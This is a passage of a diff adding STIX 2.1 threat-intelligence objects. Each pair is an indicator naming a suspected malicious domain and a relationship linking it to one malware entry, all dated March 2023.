"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e7173d1-30a4-4227-8ddd-92aedc3caff4", + "created": "2023-03-29T12:58:45.108714Z", + "modified": "2023-03-29T12:58:45.108714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overviewhumpback.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.108714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--337543fd-0acc-437c-b710-7c11ca0a5ced", + "created": "2023-03-29T12:58:45.109341Z", + "modified": "2023-03-29T12:58:45.109341Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e7173d1-30a4-4227-8ddd-92aedc3caff4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e33683c-a41d-454a-9ebc-7727103bd362", + "created": "2023-03-29T12:58:45.109512Z", + "modified": "2023-03-29T12:58:45.109512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='soulpast.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.109512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd7792df-3df5-45ca-9abd-0aa05b387b8d", + "created": "2023-03-29T12:58:45.110111Z", + "modified": "2023-03-29T12:58:45.110111Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e33683c-a41d-454a-9ebc-7727103bd362", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8bb15787-37c7-4d62-9ab1-5bd5c465e320", + "created": "2023-03-29T12:58:45.11028Z", + "modified": "2023-03-29T12:58:45.11028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='baggiedrivable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.11028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--664691c4-934b-421d-9472-90dc71545859", + "created": "2023-03-29T12:58:45.11099Z", + "modified": "2023-03-29T12:58:45.11099Z", + "relationship_type": "indicates", + "source_ref": "indicator--8bb15787-37c7-4d62-9ab1-5bd5c465e320", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5381fe7-d8cc-4d94-bbf2-e349a91d3cb0", + "created": "2023-03-29T12:58:45.111161Z", + "modified": "2023-03-29T12:58:45.111161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bothflyover.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.111161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1b2fda8-324d-48aa-804a-81a69cdc0890", + "created": "2023-03-29T12:58:45.111753Z", + "modified": "2023-03-29T12:58:45.111753Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5381fe7-d8cc-4d94-bbf2-e349a91d3cb0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a74fe441-8d58-43bc-8092-15fb6bd4df5d", + "created": "2023-03-29T12:58:45.111922Z", + "modified": "2023-03-29T12:58:45.111922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shallowretired.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.111922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe3a2f62-2dfe-4780-90b8-97911b18b0cc", + "created": "2023-03-29T12:58:45.112511Z", + "modified": "2023-03-29T12:58:45.112511Z", + "relationship_type": "indicates", + "source_ref": "indicator--a74fe441-8d58-43bc-8092-15fb6bd4df5d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ce22e2f-05d3-4ea3-a70d-2e66c62ffb9e", + "created": "2023-03-29T12:58:45.112677Z", + "modified": "2023-03-29T12:58:45.112677Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gauzeferocity.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.112677Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db07b2e3-ee8b-40a4-83b2-62669117804b", + "created": "2023-03-29T12:58:45.113267Z", + "modified": "2023-03-29T12:58:45.113267Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ce22e2f-05d3-4ea3-a70d-2e66c62ffb9e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93a8ee2a-63b2-419b-80e6-f8539b92a035", + "created": "2023-03-29T12:58:45.11344Z", + "modified": "2023-03-29T12:58:45.11344Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='acquaditerraverde.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.11344Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07a4d720-cb36-4c2c-9856-8ca7ab9484ce", + "created": "2023-03-29T12:58:45.114045Z", + "modified": "2023-03-29T12:58:45.114045Z", + "relationship_type": "indicates", + "source_ref": "indicator--93a8ee2a-63b2-419b-80e6-f8539b92a035", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c431eb2-e82d-40d8-9e31-a039a892f61b", + "created": "2023-03-29T12:58:45.114213Z", + "modified": "2023-03-29T12:58:45.114213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubedvision.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.114213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--398fd3eb-d8e6-4dd7-81de-00396ba23684", + "created": "2023-03-29T12:58:45.114802Z", + "modified": "2023-03-29T12:58:45.114802Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c431eb2-e82d-40d8-9e31-a039a892f61b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4d96e73-2684-4713-a24f-8a5003862246", + "created": "2023-03-29T12:58:45.114971Z", + "modified": "2023-03-29T12:58:45.114971Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunchat.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.114971Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89618a8e-fd00-4eb0-a97f-500dd26eb8a8", + "created": "2023-03-29T12:58:45.11555Z", + "modified": "2023-03-29T12:58:45.11555Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4d96e73-2684-4713-a24f-8a5003862246", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0659362-1830-4940-9766-441a06f66a07", + "created": "2023-03-29T12:58:45.115721Z", + "modified": "2023-03-29T12:58:45.115721Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overlaidastronaut.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.115721Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a5208bd-c029-4924-8bc9-c711eeacd603", + "created": "2023-03-29T12:58:45.116315Z", + "modified": "2023-03-29T12:58:45.116315Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0659362-1830-4940-9766-441a06f66a07", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1ac87d5-c195-4211-a491-28b70230f884", + "created": "2023-03-29T12:58:45.116483Z", + "modified": "2023-03-29T12:58:45.116483Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slashingimmortal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.116483Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81a497a9-85f3-443a-b380-a86c74a414b5", + "created": "2023-03-29T12:58:45.117082Z", + "modified": "2023-03-29T12:58:45.117082Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1ac87d5-c195-4211-a491-28b70230f884", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2801491-c4e5-4052-9b1b-0b26d6697b08", + "created": "2023-03-29T12:58:45.117249Z", + "modified": "2023-03-29T12:58:45.117249Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='maturitybreeze.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.117249Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0332c053-5dd4-4573-a812-c8d5f929a53d", + "created": "2023-03-29T12:58:45.117964Z", + "modified": "2023-03-29T12:58:45.117964Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2801491-c4e5-4052-9b1b-0b26d6697b08", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2433f579-676c-4dd5-821d-9d446a2eed75", + "created": "2023-03-29T12:58:45.11814Z", + "modified": "2023-03-29T12:58:45.11814Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shelvingcarried.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.11814Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2183d78d-0e66-449e-99d5-e6f1b34c22a0", + "created": "2023-03-29T12:58:45.118737Z", + "modified": "2023-03-29T12:58:45.118737Z", + "relationship_type": "indicates", + "source_ref": "indicator--2433f579-676c-4dd5-821d-9d446a2eed75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb9413d7-7213-4370-998f-f38c116e97f5", + "created": "2023-03-29T12:58:45.118917Z", + "modified": "2023-03-29T12:58:45.118917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrappedaural.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.118917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5a006946-870f-49b5-8007-aecdec75eedc", + "created": "2023-03-29T12:58:45.119511Z", + "modified": "2023-03-29T12:58:45.119511Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb9413d7-7213-4370-998f-f38c116e97f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcf37f45-2fd2-4783-9595-5cd32634bc0b", + "created": "2023-03-29T12:58:45.11968Z", + "modified": "2023-03-29T12:58:45.11968Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cobblebuttons.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.11968Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db5c5bdc-4d4b-4210-b065-df837f45b7be", + "created": "2023-03-29T12:58:45.120268Z", + "modified": "2023-03-29T12:58:45.120268Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcf37f45-2fd2-4783-9595-5cd32634bc0b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26deb6ef-ffce-438f-8ead-f86efcdb6c91", + "created": "2023-03-29T12:58:45.120436Z", + "modified": "2023-03-29T12:58:45.120436Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hedgingmatrimony.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.120436Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e3fd835-ee7d-4f1e-8940-f502173c0556", + "created": "2023-03-29T12:58:45.121029Z", + "modified": "2023-03-29T12:58:45.121029Z", + "relationship_type": "indicates", + "source_ref": "indicator--26deb6ef-ffce-438f-8ead-f86efcdb6c91", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa1defbc-0c83-4877-9876-484911bc3689", + "created": "2023-03-29T12:58:45.121195Z", + "modified": "2023-03-29T12:58:45.121195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='delousesnowdrift.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.121195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b71b681c-a6b5-4a10-9145-e4a6565f87df", + "created": "2023-03-29T12:58:45.121805Z", + "modified": "2023-03-29T12:58:45.121805Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa1defbc-0c83-4877-9876-484911bc3689", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--315128c7-9446-4ad4-837c-e7da286b93e3", + "created": "2023-03-29T12:58:45.121975Z", + "modified": "2023-03-29T12:58:45.121975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamtreforest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.121975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--579a8ab9-66b8-4696-af9e-5d32738187e2", + "created": "2023-03-29T12:58:45.12257Z", + "modified": "2023-03-29T12:58:45.12257Z", + "relationship_type": "indicates", + "source_ref": "indicator--315128c7-9446-4ad4-837c-e7da286b93e3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20163c72-d8bb-4882-bfc4-bebaff63008e", + "created": "2023-03-29T12:58:45.122738Z", + "modified": "2023-03-29T12:58:45.122738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='purplecottontrees.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.122738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa4326dc-c745-46df-a05b-198b52ae07a1", + "created": "2023-03-29T12:58:45.123338Z", + "modified": "2023-03-29T12:58:45.123338Z", + "relationship_type": "indicates", + "source_ref": "indicator--20163c72-d8bb-4882-bfc4-bebaff63008e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dbd0c642-5409-49ee-a6d1-1d6e1ae16361", + "created": "2023-03-29T12:58:45.123508Z", + "modified": "2023-03-29T12:58:45.123508Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dolphinblinked.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.123508Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3fce250-4532-4da5-b77c-7907f73a45d6", + "created": "2023-03-29T12:58:45.1241Z", + "modified": "2023-03-29T12:58:45.1241Z", + "relationship_type": "indicates", + "source_ref": "indicator--dbd0c642-5409-49ee-a6d1-1d6e1ae16361", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb24266f-dc8b-4f11-9cf2-8f254d89e996", + "created": "2023-03-29T12:58:45.124273Z", + "modified": "2023-03-29T12:58:45.124273Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spotdotpots.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.124273Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f0ad4e6-52d1-4135-9c70-21c198aa434a", + "created": "2023-03-29T12:58:45.124976Z", + "modified": "2023-03-29T12:58:45.124976Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb24266f-dc8b-4f11-9cf2-8f254d89e996", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a334b91e-15a4-4e27-b26d-bfd97fb41aca", + "created": "2023-03-29T12:58:45.12515Z", + "modified": "2023-03-29T12:58:45.12515Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='policehasty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.12515Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b505733-d5b1-4f5c-ba0c-c23d40cdad63", + "created": "2023-03-29T12:58:45.125745Z", + "modified": "2023-03-29T12:58:45.125745Z", + "relationship_type": "indicates", + "source_ref": "indicator--a334b91e-15a4-4e27-b26d-bfd97fb41aca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff4c2b81-05b5-4abc-adb5-f7c5340e18e2", + "created": "2023-03-29T12:58:45.125913Z", + "modified": "2023-03-29T12:58:45.125913Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coneremindful.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.125913Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc9c97da-7e21-45ab-98be-43ef96df9d6d", + "created": "2023-03-29T12:58:45.126504Z", + "modified": "2023-03-29T12:58:45.126504Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff4c2b81-05b5-4abc-adb5-f7c5340e18e2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af76efd3-8db5-45b7-8344-c6d531edde97", + "created": "2023-03-29T12:58:45.126672Z", + "modified": "2023-03-29T12:58:45.126672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='confessplatter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.126672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5833c013-833e-47e7-adb3-c1441f657b9a", + "created": "2023-03-29T12:58:45.127258Z", + "modified": "2023-03-29T12:58:45.127258Z", + "relationship_type": "indicates", + "source_ref": "indicator--af76efd3-8db5-45b7-8344-c6d531edde97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce547962-64b3-4e24-9039-1c9ddbefaff3", + "created": "2023-03-29T12:58:45.127425Z", + "modified": "2023-03-29T12:58:45.127425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boostvesselcup.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.127425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba319e7a-308d-4540-bfb9-fc4755dfa5f3", + "created": "2023-03-29T12:58:45.128029Z", + "modified": "2023-03-29T12:58:45.128029Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce547962-64b3-4e24-9039-1c9ddbefaff3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0d80fef-6c9c-4866-9cc2-18b0e1d20c0b", + "created": "2023-03-29T12:58:45.128201Z", + "modified": "2023-03-29T12:58:45.128201Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='passionensure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.128201Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3381db1-84d0-4d97-90fe-f6586d3203a2", + "created": "2023-03-29T12:58:45.128793Z", + "modified": "2023-03-29T12:58:45.128793Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0d80fef-6c9c-4866-9cc2-18b0e1d20c0b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae81c085-ef18-49d6-b2c8-424b9b55bb85", + "created": "2023-03-29T12:58:45.12896Z", + "modified": "2023-03-29T12:58:45.12896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='audaciousvoting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.12896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8a4b8c2-71d7-4b0a-aa10-290a81f32e16", + "created": "2023-03-29T12:58:45.129563Z", + "modified": "2023-03-29T12:58:45.129563Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae81c085-ef18-49d6-b2c8-424b9b55bb85", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a391c7aa-f128-4b87-9846-93d9e1f32b8b", + "created": "2023-03-29T12:58:45.129732Z", + "modified": "2023-03-29T12:58:45.129732Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dubiouslyimproper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.129732Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95220e51-0077-46e6-9dc3-fdca9d104b8d", + "created": "2023-03-29T12:58:45.13033Z", + "modified": "2023-03-29T12:58:45.13033Z", + "relationship_type": "indicates", + "source_ref": "indicator--a391c7aa-f128-4b87-9846-93d9e1f32b8b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24762fa3-b540-4f78-8482-ffde3861460c", + "created": "2023-03-29T12:58:45.130499Z", + "modified": "2023-03-29T12:58:45.130499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='purelysandworm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.130499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3e2f8e2-939a-4ef6-a16d-68192f273997", + "created": "2023-03-29T12:58:45.131093Z", + "modified": "2023-03-29T12:58:45.131093Z", + "relationship_type": "indicates", + "source_ref": "indicator--24762fa3-b540-4f78-8482-ffde3861460c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bc328394-eded-4d40-a163-17c58758fc14", + "created": "2023-03-29T12:58:45.131261Z", + "modified": "2023-03-29T12:58:45.131261Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='januarytinfoil.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.131261Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f995f2a1-bdf6-4765-ae29-b41796b74ca7", + "created": "2023-03-29T12:58:45.131968Z", + "modified": "2023-03-29T12:58:45.131968Z", + "relationship_type": "indicates", + "source_ref": "indicator--bc328394-eded-4d40-a163-17c58758fc14", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41de6e2a-9378-48f4-9417-0c95051351d7", + "created": "2023-03-29T12:58:45.13214Z", + "modified": "2023-03-29T12:58:45.13214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='temnpo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.13214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--074f23ad-baa1-4adf-b3c4-43d8a600371d", + "created": "2023-03-29T12:58:45.132722Z", + "modified": "2023-03-29T12:58:45.132722Z", + "relationship_type": "indicates", + "source_ref": "indicator--41de6e2a-9378-48f4-9417-0c95051351d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1beaba3-4ccd-45cb-9840-7ab6c2a8f3a3", + "created": "2023-03-29T12:58:45.132891Z", + "modified": "2023-03-29T12:58:45.132891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cylinderjustness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.132891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c9cf01f-8ba0-44cb-b144-e908e366743d", + "created": "2023-03-29T12:58:45.133498Z", + "modified": "2023-03-29T12:58:45.133498Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1beaba3-4ccd-45cb-9840-7ab6c2a8f3a3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d4d2351-b67f-4cfe-a8e9-90ff37927ee0", + "created": "2023-03-29T12:58:45.133675Z", + "modified": "2023-03-29T12:58:45.133675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='managedev.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.133675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--742c1a00-e6b9-4ba7-914c-df3755a131c0", + "created": "2023-03-29T12:58:45.13426Z", + "modified": "2023-03-29T12:58:45.13426Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d4d2351-b67f-4cfe-a8e9-90ff37927ee0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50df09a8-e38f-4cb7-927e-2f149f3292d5", + "created": "2023-03-29T12:58:45.134427Z", + "modified": "2023-03-29T12:58:45.134427Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saladgroggy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.134427Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73e0e358-ad02-43ae-8657-060400515d41", + "created": "2023-03-29T12:58:45.135013Z", + "modified": "2023-03-29T12:58:45.135013Z", + "relationship_type": "indicates", + "source_ref": "indicator--50df09a8-e38f-4cb7-927e-2f149f3292d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5be3226e-24a4-432d-9bb6-63fa79ba5042", + "created": "2023-03-29T12:58:45.135184Z", + "modified": "2023-03-29T12:58:45.135184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showmanmongoose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.135184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d88133b-1cbf-403f-b62f-157d3630f989", + "created": "2023-03-29T12:58:45.135779Z", + "modified": "2023-03-29T12:58:45.135779Z", + "relationship_type": "indicates", + "source_ref": "indicator--5be3226e-24a4-432d-9bb6-63fa79ba5042", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a42f2f51-790f-4b22-8682-698bf8ed7bb1", + "created": "2023-03-29T12:58:45.135948Z", + "modified": "2023-03-29T12:58:45.135948Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='promotionperfectly.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.135948Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3178034-22e7-4d38-bed7-9a22dbf9b679", + "created": "2023-03-29T12:58:45.136543Z", + "modified": "2023-03-29T12:58:45.136543Z", + "relationship_type": "indicates", + "source_ref": "indicator--a42f2f51-790f-4b22-8682-698bf8ed7bb1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c4f9eb6-9484-4ae0-8bf4-279a7b219c67", + "created": "2023-03-29T12:58:45.13671Z", + "modified": "2023-03-29T12:58:45.13671Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rileylocks.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.13671Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9f8ae5a-098d-4b42-8d18-45086897f9fb", + "created": "2023-03-29T12:58:45.137296Z", + "modified": "2023-03-29T12:58:45.137296Z", + "relationship_type": "indicates", + "source_ref": 